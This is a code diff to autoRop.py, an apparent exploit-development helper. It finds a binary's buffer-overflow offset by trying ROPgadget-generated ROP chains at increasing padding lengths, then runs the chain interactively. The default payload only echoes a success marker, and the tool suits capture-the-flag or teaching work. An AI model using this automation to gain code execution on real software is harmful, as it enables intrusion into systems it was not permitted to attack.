Find offset by hand without core dump

autoRop.py

@@ -53,21 +53,47 @@ max_payload = args.max_payload
 run = args.run
 input_method = args.input_method
 
-def run_program(exec_file: str, payload: str, mode: str, **kwargs):
+def run_program(payload: str, **kwargs):
     p = None
-    if mode == 'arg':
+    if input_method == 'arg':
         p = process([f'./{exec_file}', payload], **kwargs)
-    elif mode == 'file':
+    elif input_method == 'file':
         with open('/tmp/input.txt', 'wb') as f:
             f.write(payload)
             f.flush()
             p = process([f'./{exec_file}', '/tmp/input.txt'], **kwargs)
-    elif mode == 'stdin':
+    elif input_method == 'stdin':
         p = process([f'./{exec_file}'], **kwargs)
         p.send(payload)
     
     return p
 
+
+def find_offset_inc(low: int, high: int):
+    for i in range(low, high + 1):
+        print(f"  ├─[🤔] Trying payload {i}...")
+        subprocess.run(
+            [
+                "ROPgadget",
+                "--binary", exec_file,
+                "--ropchain",
+                "--silent",
+                "--paddingLen", str(i),
+                "--ropFile", rop_file,
+                "--execFile", 'rop_exec_default.json',
+            ],
+            stdout = subprocess.PIPE
+        )
+
+        with open(rop_file, 'rb') as f:
+            p = run_program(f.read())
+            if b'[ Successful ROP! ]' in p.readall():
+                print(f"  └─[😳] Found offset at {i}!\n")
+                return i
+
+    return -1
+        
+
 def find_offset(exec_file: str, min_payload: int, max_payload: int):
     print("[ Find Offset Length ]")
 
@@ -96,7 +122,8 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
 
     return -1
 
-offset = find_offset(exec_file, min_payload, max_payload)
+
+offset = find_offset_inc(min_payload, max_payload)
 
 if offset == -1:
     print(f"  └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
@@ -130,5 +157,5 @@ if run:
     print(f"[ Run Program : ./{exec_file} {rop_file} ]")
     with open(rop_file, 'rb') as f:
         term.init()
-        p = run_program(exec_file, f.read(), input_method)
+        p = run_program(f.read())
         p.interactive()

rop_exec_default.json

@@ -0,0 +1 @@
+["/bin/echo", "\n[ Successful ROP! ]"]